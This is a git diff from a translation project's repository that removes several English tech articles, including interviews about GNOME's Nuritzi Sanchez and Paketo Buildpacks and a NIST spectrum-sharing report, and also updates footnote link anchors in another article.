-[#]: via: (https://opensource.com/article/20/6/nuritzi-sanchez-interview) -[#]: author: (Don Watkins https://opensource.com/users/don-watkins) - -Changing the world with open source: GNOME president shares her story -====== -GitLab's new senior open source program manager and founding team member -of Endless OS shares her vision for using open source to improve -society. -![Globe up in the clouds][1] - -Growing up in Silicon Valley, [Nuritzi Sanchez][2] saw the powerful impact software can make on the world. Yet, unlike many others who were also steeped in the tech industry, her journey has taken her into the world of open source, where she is contributing to that impact. - -After graduating from Stanford University with a degree in International Relations, she ****became a founding team member of open source computing company [Endless OS][3], served three terms as president and chair of GNOME's board of directors, and in February 2020 was hired as the senior open source program manager (OSPM) at GitLab. - -I am impressed by this talented woman, and I reached out to her to learn more about her and her work. I believe you will also be fascinated with her journey after reading our interview, which has been lightly edited for clarity. - -**Don Watkins:** How did you get started with open source? - -**Nuritzi Sanchez**: My first experience with open source software was using an Ubuntu-based computer at an immigration law clinic when I was interning there as an undergrad. I remember being really surprised that something other than Macs and Windows existed. I had a good experience using the Ubuntu machine. - -Later, in 2012, I helped start a company called [Endless][4] that aimed to make computing universally accessible. By leveraging the power of open source software, we wanted to create computers that were great for users that had little to no access to the internet or were new to computers. - -As I deep-dived into that world, I was amazed by how vast the open source application ecosystem is. In my college years, I had become an Apple fangirl, and I immediately noticed the difference in user experience and design. Thanks to the CEO and founder's strong interest in great design, Endless was created from the beginning to delight users. Our team hoped to bring more user-centered design to the Linux desktop world. - -![GUADEC 2015 newcomers' event][5] - -GUADEC 2015 newcomers' event (Nuritzi Sanchez, [CC BY-SA 4.0][6]) - -In 2015, I gave my first talk at [GUADEC][7] (the GNOME community's largest conference) about [adapting GNOME for the developing world][8]. I didn't know what to expect going into the conference since that was the first time I'd attended an open source software event, and I was incredibly impressed with how friendly and welcoming the GNOME community was. The newcomers' and social events helped me bond with the existing community, and when I attended a Birds of a Feather (BoF) session, I noticed that my project management and leadership skillset was immediately useful. Even though I was new to the community and was not an engineer, I felt like I could immediately contribute. I wished I had known about GNOME and the open source world years before! - -**DW:** What is the power of open source for you? - -**NS**: Open source software helps democratize the world and enables us to solve the challenges we know best. You can build on top of the work that others have done in order to solve unique challenges around you instead of having to recreate something completely from scratch. It thus spurs innovation. - -Since a lot of open source software is not only free as in philosophy but also free as in price, it also gives people who may not otherwise be able to afford it access to tools that are essential to be part of the modern workforce. - -**DW:** How did your family background drive your interest in open source? - -**NS**: My parents are from Mexico, and when we visited family there, I was struck by the differences between where I was growing up, in the Silicon Valley, and where my parents were from. Sometimes we would visit towns where people had cardboard instead of windows, elderly people were sitting in the heat trying to sell artisanal goods they made, and poverty was visible in every corner. I heard heartbreaking stories about the struggles that people were facing, and as an empathetic kid, that all greatly impacted me. I wanted to do something to help. - -During my undergraduate years at Stanford, I really struggled to find just one thing that I was interested in. I was drawn to social impact initiatives, but I wanted to help people be healthier, have access to great education, find jobs, and feel fulfilled. I basically wanted to do _all the things_. This led me to explore many potential career paths through internships. - -Unsurprisingly for someone who grew up in the Valley, I ended up believing that getting involved with software was the best way for me to make a huge impact. I saw how just a small team could create software that was used by millions of people and could impact their lives. It seemed like a superpower. I then became enamored with open source software because of all the reasons I've mentioned above. As a bonus, open source software usually already has an international community, and as I've gotten more involved, I've been keen on helping to expand its reach. - -**DW: How has your involvement with Endless shaped your vision and direction?** - -**NS:** One of the things that I loved about Endless is how much the team valued getting to know its users. Every employee was able to go to one of Endless' target markets and do in-field research. We were able to meet people whose lives we were actually being impacted by our work. - -My time at Endless allowed me to travel and become immersed in different cultures to an extent that I wouldn't have had otherwise. I sometimes spent several months in a target market when I was helping with special initiatives. I met people from the international open source community who are extremely dedicated to the open source philosophy—and I also learned more about the challenges they face when contributing. - -![Endless OS user testing in Guatemala][9] - -Endless OS user testing in Guatemala (Nuritzi Sanchez, [CC BY-SA 4.0][6]) - -The other theme is the importance of user-centered design. I'm very grateful to have been part of a team with extremely talented designers and executives that believed that great design was essential. Our COO attended the [Stanford d.school][10] and helped infuse the company with an appreciation for design thinking. Similarly, our CEO had a sharp eye for things being pixel-perfect and always challenged our designers to create beautiful software. I developed a certain aesthetic and a deep appreciation of the design process. My time at Endless helped me appreciate some of the unique challenges that designers face when trying to contribute to open source software. - -**DW:** Diversity and inclusion are really important to you. How does diversity improve products and communities? - -**NS**: Diversity of thought is something incredibly important when solving any kind of challenge. In order to do that, you need to bring in people from diverse backgrounds. New perspectives often bring new insights or new ideas into the mix. - -One of the tangible examples I have from my time at Endless is when we were working in Indonesia and wanted to do user research there to better understand the market. One of our Endless Ambassadors, Siska, belonged to a group of housewives that met regularly, and she introduced Endless at one of their meetings. Many of the housewives who attended got really excited about Endless and told their partners and children about it. Being great networkers, some of them helped us find people for our user research studies and became evangelists of our product in their communities. It was something that, at least to me, wasn't a normal path to take, and it was something that was hugely beneficial. - -![Meeting with open source community members in Indonesia][11] - -Meeting with open source community members in Indonesia (Nuritzi Sanchez, [CC BY-SA 4.0][6]) - -**DW:** What led you to leave Endless and move to GNOME? - -**NS**: Endless did a lot of things right, and it still faced a lot of the challenges that all open source desktops face in a world that is [dominated][12] by Microsoft. Endless had to make some hard choices about how to evolve its strategy and also started to explore some new ideas—like how to make Endless a great platform to teach children how to code. It was during this time that we parted ways, but I continue to be a huge fan and still use Endless OS on my personal computer. - -I ended up taking some time off after Endless to travel and to continue my third term as the president and chairperson of the board of directors at GNOME. - -![Women Who Code Taipei event][13] - -Meeting with Women Who Code Taipei (Nuritzi Sanchez, [CC BY-SA 4.0][6]) - -**DW:** GNOME experienced tremendous growth during your tenure. What do you attribute that to? - -**NS**: There were many things that factored into the growth we saw during my tenure. Here are the most important ones: - - * **Improving the newcomer's story:** Carlos Soriano, Bastian Ilso, and Christian Hergert, in particular, really helped set GNOME's momentum in motion by working on a newcomer's guide for code contributors. They developed the workflows and tools that made an immediate impact on our community's growth. Later, Carlos led an evaluation of tooling and helped GNOME find GitLab as the solution to further simplifying the contribution process. - - * **Broadcasting our story and promoting our brand:** As part of the Engagement team, I helped to amplify our work on the newcomers initiatives and helped to build our brand and online presence. GNOME's work on improving the newcomers' story gained a lot of interest within the wider community and brought about new interest in the GNOME project, and we used that to help build the sense that GNOME was in forward momentum. Marketing, brand, and dedicated community-building are really important for open source organizations. - - * [**Flatpak**][14]**,** [**Flathub**][15]**, and** [**Builder**][16]**!** There were several technological innovations that helped propel GNOME forward. For example, Flatpak and Builder helped to make creating a GNOME app easier than ever, and users were able to find and install apps directly from Flathub. These innovations were _huge_ because they made it possible for anyone to create and enjoy great Linux desktops. Furthermore, it helped unify the Linux desktop community a bit since any distribution that enabled Flatpak apps could benefit from easier distribution and management of apps. - - * **Hiring an** **executive** **director (ED):** GNOME had been without an ED for several years before I joined. With the help of a hiring committee, the board soon interviewed several highly qualified candidates for the ED position. Leveraging my startup experience in hiring, I worked with our vice president at the time to figure out all the logistics behind hiring our first-ever non-US employee and closing the loop. We soon announced that Neil McGovern would join as the GNOME executive director. This was an important step for us since the board had absorbed the ED's responsibilities while the position was unfilled. Since the board was elected annually, that meant that planning long-term, strategic initiatives was rather difficult because of turnover. - - * **Dreaming new dreams:** While I'm biased, I do think that Endless' new perspective helped the GNOME community to dream a new dream and start creating GNOME for a user beyond the "typical Linux desktop user." This meant working on features that enabled a less tech-savvy, more design-sensitive, and less-connected user. Since Endless worked heavily upstream, GNOME experienced an influx of contributors from Endless' employees and Endless' ecosystem. This, combined with the newcomers' story, helped propel GNOME into an era of being more accessible to more people around the world. This also helped attract donations from organizations, including a $1 million pledge that helped GNOME dream new dreams. As part of that, the board decided that expanding the GNOME Foundation would help sustain GNOME's momentum and that employees would be hired for the first time ever to work directly on aspects of the project, like on GTK and event planning. - - * **Restructuring the** **GNOME** **Foundation:** One of my short-term goals upon hiring our executive director was leading the board of directors to be more of a strategic entity and allowing the day-to-day work to be handled by employees. I proposed having a board hackathon so that we could set aside time to do some strategic planning, reassess how we did budgeting, and also work on important initiatives that often got pushed to the side. The first hackathon was a success, and it's now an annually recurring event. Once the employees had been hired, we worked on transferring responsibilities to them and helping to integrate them into the larger community. There were some challenges we faced along the way, but overall, this went smoothly, and the community was excited about seeing the Foundation grow to support its needs. - - * ![Linux App Summit 2019][17] - -Linux App Summit 2019 (Nuritzi Sanchez, [CC BY-SA 4.0][6]) - -**New policies to enable growth:** While on the board, I helped with some initiatives that also helped us build momentum. Two such policies were our [Code of Conduct][18] and our [Travel Policy][19]. These two helped make the GNOME community more inclusive and helped show that GNOME cares about continuing to build a great and diverse community. - - * **Linux App Summit:** Finally, another thing I think helped was the work we did around creating a new conference, the [Linux App Summit][20]. While the conference started in 2016, in 2019, we joined forces with KDE. This doubled attendance and showed the world that KDE and GNOME could work together towards a greater purpose. As part of the founding team of that conference, I'm very proud of our work there. - - - - -**DW:** You've recently moved to GitLab as senior open source program manager (OPSM). What are you doing there? What are your short-term and long-term goals there? - -**NS**: I am thrilled to be at GitLab! My main focus right now is on the [GitLab for Open Source][21] program, which offers our top tiers for free to qualifying open source projects. As part of that program, we also help large open source organizations with their migrations (GNOME, KDE, Drupal, etc.). I'm working on formalizing aspects of the program and streamlining processes that will allow us to scale the program. - -![GitLab's community relations team][22] - -GitLab's community relations team (Nuritzi Sanchez, [CC BY-SA 4.0][6]) - -As I work on this program, I'm being exposed to new open source communities, and I'm learning more about the DevOps world. It's been incredibly rewarding already! My hope is to help make GitLab the best place for open source organizations to thrive at scale, and in order to do so, there are many pieces involved. I see myself advocating for features that are important to open source projects, facilitating communication between our community and our internal team, and working with the community relations team to help make it a great experience to be part of our community. Apart from that, one thing that I've been interested in is how to help make open source more sustainable, so I'm keen on continuing to learn about and explore that topic. Last but not least, I’m also very excited about the work that the CHAOSS community is doing on creating metrics to measure the health of open source communities. I recently joined a new working group there to create a set of metrics that foundations like GNOME and KDE can use to measure their community’s health. - -**DW:** Would you recommend other open source companies have OSPMs? What about non-open source companies? - -**NS**: Since software is eating the world, and open source software is eating the software world, I absolutely would encourage companies to devote more resources into understanding their dependency on and growing their involvement in open source software. - -If a company is just starting off or isn't able to have an open source program office (OSPO) right away, having an open source program manager is a great entry point. These early hires can help lay down some initial structure and work on high-priority initiatives relating to the open source work that the company is doing or wants to participate in. This can later turn into a larger program office if and when the company is ready for that. - -* * * - -I appreciate the time Nuritizi took to share her journey with me and the work she's doing to support open source and the communities that build up around open source projects. If you'd like to learn more about her, I recommend you join me in following her on [Twitter][2]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/nuritzi-sanchez-interview - -作者:[Don Watkins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/don-watkins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/cloud-globe.png?itok=_drXt4Tn (Globe up in the clouds) -[2]: https://twitter.com/1nuritzi -[3]: https://opensource.com/article/18/2/meet-endless-os-lightweight-linux -[4]: https://endlessos.com/home/ -[5]: https://opensource.com/sites/default/files/uploads/guadec_2015.jpg (GUADEC 2015 newcomers' event) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://events.gnome.org/event/1/ -[8]: https://www.youtube.com/watch?v=qs5J_IWSmiE -[9]: https://opensource.com/sites/default/files/uploads/endless_usertestingguatemala.jpg (Endless OS user testing in Guatemala) -[10]: https://dschool.stanford.edu/ -[11]: https://opensource.com/sites/default/files/uploads/indonesiacommunitygathering.jpg (Meeting with open source community members in Indonesia) -[12]: https://en.wikipedia.org/wiki/Usage_share_of_operating_systems -[13]: https://opensource.com/sites/default/files/uploads/womenwhocodetaipei.jpg (Women Who Code Taipei event) -[14]: https://flatpak.org/ -[15]: https://flathub.org/home -[16]: https://wiki.gnome.org/Apps/Builder -[17]: https://opensource.com/sites/default/files/uploads/linuxappsummit2019.jpg (Linux App Summit 2019) -[18]: https://wiki.gnome.org/Foundation/CodeOfConduct -[19]: https://wiki.gnome.org/Travel -[20]: https://linuxappsummit.org/ -[21]: https://about.gitlab.com/solutions/open-source/ -[22]: https://opensource.com/sites/default/files/uploads/gitlab_cr-team.jpg (GitLab's community relations team) diff --git a/sources/talk/20200619 What do Paketo Buildpacks Mean for Developers and Operators.md b/sources/talk/20200619 What do Paketo Buildpacks Mean for Developers and Operators.md deleted file mode 100644 index 77ed828a9d..0000000000 --- a/sources/talk/20200619 What do Paketo Buildpacks Mean for Developers and Operators.md +++ /dev/null @@ -1,83 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What do Paketo Buildpacks Mean for Developers and Operators) -[#]: via: (https://www.linux.com/audience/developers/what-do-paketo-buildpacks-mean-for-developers-and-operators/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -What do Paketo Buildpacks Mean for Developers and Operators -====== - -Cloud Foundry Foundation recently announced the launch of [Paketo Buildpacks][1] for cloud native developers and operators. But what’s the difference between Cloud Foundry’s Packet and the Buildpacks announced by CNCF? What does it mean for developers who are already using buildpacks? What kind of community is Cloud Foundry look at building around Paketo? What does the roadmap look like? - -To get answers to these questions and deep dive into Paketo Buildpacks, [Swapnil Bhartiya][2], Founder of TFiR.io spoke with Chip Childers, Executive Director, Cloud Foundry Foundation and Kashyap Vedurmudi, Product Manager at VMware. - -_Here is a lightly edited transcript of the interview:_ - -**Swapnil Bhartiya: Today we have two guests, Kashyap Vidurmudi, product manager at VMware, and Chip Childers, executive director of Cloud Foundry. Today we are going to talk about the recently announced Paketo Buildpacks. I don’t want to get into that old debate about Docker files versus Buildpacks, but there are two things that I do want to talk about before we talk about Paketo in specific – compliance and security. How does Paketo Buildpacks solve these two problems?** - -Kashyap Vidurmudi: So, we have a couple of things. We are constantly shipping Buildpacks just whenever upstream security vulnerability comes out, a new language family version, things like that. So Buildpacks make it much easier especially for enterprise users just to continuously make sure that their apps stay up to date, and secure, and compliant. So this is I think a huge value proposition of what Buildpacks offer versus using Docker files to run your apps and to build your apps and production. - -Chip Childers: The history of the Cloud Foundry project is, it’s been using Buildpack since nearly the beginning of its inception, originally at VMware, right, before it took it to journey to pivotal and then the CFF. So Buildpacks have demonstrated their value when used with a platform that’s able to implement them effectively, a few times, right? In particular, I’m thinking about the OpenSSL Heartbleed vulnerability. I found that to be a great example of when languages and runtimes don’t embed too many things in their distribution statically, then you’re able to use the Buildpack process to roll out security patches to these really important underlying libraries very quickly. - -Chip Childers: As an example, Kashyap said that the buildpack project with Paketo Buildpacks, they’ve always been keeping up to date with all their critical vulnerabilities or high vulnerabilities from all the languages and frameworks that get pulled together. We had the OpenSSL update rolled out to the whole ecosystem and it managed to percolate through all the platforms that had the CF Buildpacks embedded in them very quickly, like in a matter of days. And it was really smooth. The only hiccup back then was that no JS actually included the OpenSSL library in its own distribution. So I think it was about a month or so after Heartbleed that they split that out and then Buildpacks could be more effective at helping to support some of these underlying libraries. - -**Swapnil Bhartiya: Thanks for explaining that. If I’m not wrong, last year, CNCF also announced a Buildpack project. What is the difference between what CNCF is doing there versus what you guys are trying to do?** - -Kashyap Vidurmudi: That’s a great question and probably the biggest question we’ve been getting asked with this whole launch. So the CNCF Cloud Native Buildpacks project, they built the underlying specification and tooling needed to build a Cloud Native compliant Buildpack. Or the Paketo Buildpacks project is just a set of language family implementations on top of these Cloud Native Buildpack specifications. So we build implementations when we launched the other day, we have Java, node.js, PHP, .NET Core, and probably a couple of others that I’m missing, Buildpack implementations on top of that spec. - -**Swapnil Bhartiya: And why do you call it Paketo Buildpacks, the specific reasons for this naming?** - -Kashyap Vidurmudi: That’s a great question as well. To be completely honest with you, our whole engineering team went through about two different naming exercises just to generate different names for Buildpacks. At a team lunch, a couple of months ago, someone came up with the Paketo, which translates to Greek and… Sorry, it translates to package in Greek. What we really liked about it was Kubernetes translates to pilot and Greek, and we liked that with Paketo translating a package in Greek. We can come off with the association that Paketo packages your apps as container images that any Cloud Native platforms similar to Kubernetes can work as straight. So the name stuck at the end. - -**Swapnil Bhartiya: Talk a bit about the collaboration between Cloud Foundry and VMware for this project.** - -Chip Childers: I want to start probably by saying, the kind of Buildpack project is a Cloud Foundry Foundation project, right? And so what that means is it’s the same engineers and contributors that are working on the traditional Cloud Foundry. Buildpacks are building the Paketo Buildpacks collection, right? So you get all their past experience as a community building and maintaining, and keeping up to date these new Cloud Native Buildpack compliant things. One of the goals of the project team, which I’m sure Kashyap could share a little bit more about as well, is that traditionally the Cloud Foundry Buildpack collection has seen the majority of the effort that was put into maintaining it coming from pivotal. - -There were certainly a lot of casual contributors, but it was something, that pivotal bore the full burden on. And we think that it’s incredibly important that now that the Cloud Native Buildpacks spec can be used in many different platforms. That a lot of participants rally around this because it’s an opportunity to get really high-quality Buildpack code brought into whichever platform you’re using, whether it’s Tecton, or it’s Google Cloud run, or whether it’s the CF [inaudible 00:07:06] distribution of Cloud Foundry. There are going to be a lot of end-users that should be able to amplify the feedback loop back to the project team. And we’re very open to new contributors there. - -**Swapnil Bhartiya: What kind of community are you planning to build around these Paketo Buildpacks and what will be the resources available for the community to build and consume these Buildpacks?** - -Kashyap Vidurmudi: I think just to add on a little bit to what Chip said, the community is super important for us with this whole Paketo Buildpacks launch. I think what we’re looking for ideally is a mix of vendors helping us out similar to what Cloud Foundry Foundation has had in the past, as well as individual contributors. And what’s super exciting to see is we just launched a couple of days ago and we’re already seeing a bunch of people reaching out, and trying out Paketo Buildpacks, and interested in contributing. We’re seeing that maybe people might be interested in helping us develop a Python, Paketo Buildpacks, which is really cool to see. To answer the second part of your question around a marketplace or some ecosystem, I think in the future, that would be super cool to have something like that. In the short term, what we’re doing is we have with this concept of builder images where a builder is effectively a set of Buildpacks, Paketo Buildpacks that are packaged in there. So we ship our builders onto a GCR registry that users can then use to consume our Buildpacks. - -**Swapnil Bhartiya: Is there any specific Buildpacks that will be available or you’ll be focusing on to start with?** - -Kashyap Vidurmudi: Yeah. When we launched the other day, we officially have Java, node.js, .NET Core, PHP, and Nginx Paketo Buildpacks available at the moment. We’re currently just getting started around a Ruby Paketo Buildpacks and looking into publishing some official project-wide roadmap in the future to show what’s coming next. - -Chip Childers: I think that’s another really good opportunity for people to get involved. As you said, there’s been interest organically in helping to add Python as a Buildpack. There’s a very long tail of different languages and frameworks that are used in the enterprise context. And so Paketo Buildpacks was going out the door with a set of Buildpacks that basically solved the majority of enterprise development use cases, right? Python is used very heavily, but it’s a little bit less than Java, right? And so the tail starts to drop a little bit. But there’s a lot of opportunity in those languages and frameworks that the Paketo Buildpacks project team hasn’t created on their own. But those same patterns can be followed for languages that might be maybe less used. - -As the community grows around, not just the Cloud Native Buildpacks spec, right, because anyone can build a Buildpack to that spec. But I think the practices of the Paketo Buildpacks project lend themselves to quality distribution of a Buildpack, right? If you search and get up for Buildpacks, even if you’re just looking at the past version of the way Buildpacks work, you find thousands of them, right? But some of them are stale, some of them are, they have work. And I think the more important than exactly which Buildpacks are offered today is that the Paketo Buildpacks project is an opportunity for people to come together around the discipline of building quality Buildpacks and then maintaining them over time. - -Kashyap Vidurmudi: Yeah, exactly. That’s a really good point. And I think that over the next coming weeks to months, we’re really focused on improving a lot of our documentation to help enable things like this. We have a couple of tutorials right now just to help users create a Paketo style Buildpack and lots of tools and things like that out there. So my end goal and just sure Chip agrees with this, which is, I’d love to see a user just coming in with very little Buildpack experience and be able to build, say, a Rust Cloud Native Buildpack or something like that very simply and easily and support that. And that’s the end goal of where we want to go in terms of enabling the community to build Buildpacks easily. - -**Swapnil Bhartiya: So what happens to the existing Buildpacks that people are already using?** - -Kashyap Vidurmudi: For Cloud Foundry Buildpacks, we’re going to continue providing support for CF workloads into the foreseeable future. So what we did is we built a concept of a compatibility layer on top of every one of our Paketo Buildpacks, which allow us to ship a Cloud Foundry compatible Cloud Native Buildpack. And that enables your CF workflows to continue to work with Paketo Buildpacks. - -Chip Childers: I think one of the things to understand, and this is where it gets a little bit confusing, right? Buildpacks as a concept has a fairly long history. So it started at Heroku. CF was emulating Heroku, right? It was the open source alternative to Heroku and it implemented Buildpacks in order to have that support. And for a while, they were largely compatible, right? You could take a Heroku Buildpack and you could use that in a Cloud Foundry context or you could do the reverse. And so that worked for a while. The two platforms, right, Cloud Foundry and opensource community. And then Heroku as a product or a platform as a service, that’s all proprietary, they started to diverge, right? So the compatibility within the ecosystem started to break down. - -When the CNCF Cloud Native Buildpacks project kicked off, to me that was actually one of the most important moments in the platform as a service space in a number of years. Because it represented a reconvergence of streams of work and sets of experiences with different end-users that made a ton of sense for everyone. But what that means though, is that the CMB spec is, it’s a new way to build Buildpacks, right? So all that historical work for the CF community building that shim is important, but it’s really critical to understand that a Cloud Native Buildpack, compliant Buildpack is different from a traditional Heroku or Cloud Foundry, older version Buildpack. They’re implemented differently. And so it’s a new generation of them. And that’s where a new ecosystem because there are multiple platforms that don’t support their use, is really going to kick in here. - -**Swapnil Bhartiya: Kashyap, you mentioned there’ll be a lot of resources documentation that would be coming up. What are the resources that are available at this moment that people can either read or go to that to get more aware of the project at the same time, how they can get involved with the project?** - -Kashyap Vidurmudi: Yeah. So right now we have a couple of tutorials out there just around how to get started with Paketo Buildpacks as well as how to go ahead and create your own Paketo Buildpacks. In terms of getting started and helping out and getting involved, I think the best way to get started right now is to join us on Slack, our Slack is Slack.paketo, P-A-K-E-T-O.io, or visit our website and go through the content. The website is P-A-K-E-T-O.io. - -**Swapnil Bhartiya: Chip and Kashyap, thank you so much for taking time out of your schedule and talking to us today about this project. Good luck with that project and thank you once again.** - --------------------------------------------------------------------------------- - -via: https://www.linux.com/audience/developers/what-do-paketo-buildpacks-mean-for-developers-and-operators/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 -[1]: https://paketo.io/ -[2]: https://www.tfir.io/author/arnieswap/ diff --git a/sources/talk/20200628 Roy Fielding-s Misappropriated REST Dissertation.md b/sources/talk/20200628 Roy Fielding-s Misappropriated REST Dissertation.md index 5906fd1d92..0272e2eb43 100644 --- a/sources/talk/20200628 Roy Fielding-s Misappropriated REST Dissertation.md +++ b/sources/talk/20200628 Roy Fielding-s Misappropriated REST Dissertation.md @@ -102,24 +102,24 @@ via: https://twobithistory.org/2020/06/28/rest.html [b]: https://github.com/lujun9972 [1]: https://news.ycombinator.com/item?id=7201871 [2]: https://www.ics.uci.edu/~fielding/pubs/dissertation/fielding_dissertation_2up.pdf -[3]: tmp.o6JUcKs91D#fn:1 -[4]: tmp.o6JUcKs91D#fn:2 -[5]: tmp.o6JUcKs91D#fn:3 -[6]: tmp.o6JUcKs91D#fn:4 -[7]: tmp.o6JUcKs91D#fn:5 -[8]: tmp.o6JUcKs91D#fn:6 +[3]: tmp.Ewi4FpMIg6#fn:1 +[4]: tmp.Ewi4FpMIg6#fn:2 +[5]: tmp.Ewi4FpMIg6#fn:3 +[6]: tmp.Ewi4FpMIg6#fn:4 +[7]: tmp.Ewi4FpMIg6#fn:5 +[8]: tmp.Ewi4FpMIg6#fn:6 [9]: https://www.youtube.com/watch?v=vNoPJqm3DAY -[10]: tmp.o6JUcKs91D#fn:7 +[10]: tmp.Ewi4FpMIg6#fn:7 [11]: https://roy.gbiv.com/untangled/2008/rest-apis-must-be-hypertext-driven -[12]: tmp.o6JUcKs91D#fn:8 +[12]: tmp.Ewi4FpMIg6#fn:8 [13]: https://twitter.com/TwoBitHistory [14]: https://twobithistory.org/feed.xml [15]: https://twitter.com/TwoBitHistory/status/1247187881946275841?ref_src=twsrc%5Etfw -[16]: tmp.o6JUcKs91D#fnref:1 -[17]: tmp.o6JUcKs91D#fnref:2 -[18]: tmp.o6JUcKs91D#fnref:3 -[19]: tmp.o6JUcKs91D#fnref:4 -[20]: tmp.o6JUcKs91D#fnref:5 -[21]: tmp.o6JUcKs91D#fnref:6 -[22]: tmp.o6JUcKs91D#fnref:7 -[23]: tmp.o6JUcKs91D#fnref:8 +[16]: tmp.Ewi4FpMIg6#fnref:1 +[17]: tmp.Ewi4FpMIg6#fnref:2 +[18]: tmp.Ewi4FpMIg6#fnref:3 +[19]: tmp.Ewi4FpMIg6#fnref:4 +[20]: tmp.Ewi4FpMIg6#fnref:5 +[21]: tmp.Ewi4FpMIg6#fnref:6 +[22]: tmp.Ewi4FpMIg6#fnref:7 +[23]: tmp.Ewi4FpMIg6#fnref:8 diff --git a/sources/talk/20200629 NIST aims to make frequency sharing more efficient for wireless networks.md b/sources/talk/20200629 NIST aims to make frequency sharing more efficient for wireless networks.md deleted file mode 100644 index 2b703e5ac5..0000000000 --- a/sources/talk/20200629 NIST aims to make frequency sharing more efficient for wireless networks.md +++ /dev/null @@ -1,66 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (NIST aims to make frequency sharing more efficient for wireless networks) -[#]: via: (https://www.networkworld.com/article/3561618/nist-aims-to-make-frequency-sharing-more-efficient-for-wireless-networks.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -NIST aims to make frequency sharing more efficient for wireless networks -====== -Machine-learning formula will help different radio protocols, such as Wi-Fi and LTE, work together more efficiently in the same wireless spectrum. -Martyn Williams/IDG - -A machine-learning formula developed by the National Institute of Standards and Technology ([NIST][1]) has the potential to significantly improve how [5G][2] and other wireless networks select and share communications frequencies. Compared to trial-and-error methods, NIST's formula could make the process of sharing communications frequencies as much as 5,000 times more efficient, researchers claim. - -The NIST system is based the idea that radio equipment can learn its network environments from experience rather than, as is done now, simply select frequency channels based on trial-and-error. - -"The algorithm learns which channel provides the best outcome" under specific environmental conditions, NIST says in an [article on its website][3]. - -**READ MORE:** [How beamforming makes wireless communication faster][4] - -"The formula could be programmed into software on transmitters in many [different] types of real-world networks," the team says. - -Essentially, the computer-modeled algorithm is a formula that maps prior experience in environmental RF conditions. Those conditions can include the number of transmitters operating within a channel (set of adjacent frequencies), for example. - -"… if a transmitter selects a channel that is not occupied, then the probability of a successful transmission rises, leading to a higher data rate," the article says. Likewise, when a transmitter selects a channel that doesn't have much interference on it, the signal is stronger, and you get a better data rate. The transmitter remembers which channel provides the best outcome and learns to choose that spot on the dial when it next needs a clear signal. - -That's different from the way things generally work today. That is, a radio simply tries to find an open frequency and then communicates with like-protocol radios. In sophisticated cases, like Wi-Fi, for example, frequency hopping and [beamforming][4] are used to optimize channels. - -Where NIST's machine-learning technique shines is in the case of shared spectrum, such as sharing Wi-Fi with License Assisted Access (LAA), the researchers explain. LAA is LTE in unlicensed spectrum, known as LTE-U, at 5 GHz. In that combination of Wi-Fi with LAA, on the same frequencies, the protocols are disparate: the radios don't communicate with each other to function in harmony, and chaos could occur the busier the band got—transmissions would bump into other transmissions. But, if all the radios were better at choosing their slot, by learning what works and what doesn't, then things would be better. - -"This could potentially make communications in the unlicensed bands much more efficient," says Jason Coder, a NIST engineer, in the article. - -Indeed, it "could help 5G and other wireless networks select and share communications frequencies about 5,000 times more efficiently than trial-and-error methods," NIST claims. - -The key word here is "share," because in order to increase communications in limited spectrum, more sharing must take place—the users, such as IoT, or media streaming, are all competing for the same metaphorical real estate. Combining unlicensed and licensed bands, as is the case in LAA, will likely become more common as IoT and digital continues to expand. (Unlicensed bands are those not assigned to a specific user, like a mobile network operator; licensed bands are won in auctions and allocated.) - -In the NIST scenario, the competing transmitters "each learn to maximize the total network data rate without communicating with each other." Therefore, multiple protocols and data types, like video or sensor data, or Wi-Fi and mobile networks, can function alongside each other. - -NIST's formula significantly simplifies the process of assigning optimum channels to transmitters, according to the article: "The study found that an exhaustive effort [using trial and error] to identify the best solution would require about 45,600 trials, whereas the formula could select a similar solution by trying only 10 channels, just 0.02 percent of the effort." - -The NIST researchers recently presented their research at [IEEE's 91st Vehicular Technology Conference][5], held virtually this year. - -Join the Network World communities on [Facebook][6] and [LinkedIn][7] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3561618/nist-aims-to-make-frequency-sharing-more-efficient-for-wireless-networks.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://www.nist.gov/ -[2]: https://www.networkworld.com/article/3330603/5g-versus-4g-how-speed-latency-and-application-support-differ.html -[3]: https://www.nist.gov/news-events/news/2020/05/nist-formula-may-help-5g-wireless-networks-efficiently-share-communications -[4]: https://www.networkworld.com/article/3445039/beamforming-explained-how-it-makes-wireless-communication-faster.html -[5]: https://events.vtsociety.org/vtc2020-spring/conference-sessions/program/ -[6]: https://www.facebook.com/NetworkWorld/ -[7]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200630 Should API-restricting licenses qualify as open source.md b/sources/talk/20200630 Should API-restricting licenses qualify as open source.md deleted file mode 100644 index 54b18eaed6..0000000000 --- a/sources/talk/20200630 Should API-restricting licenses qualify as open source.md +++ /dev/null @@ -1,79 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: 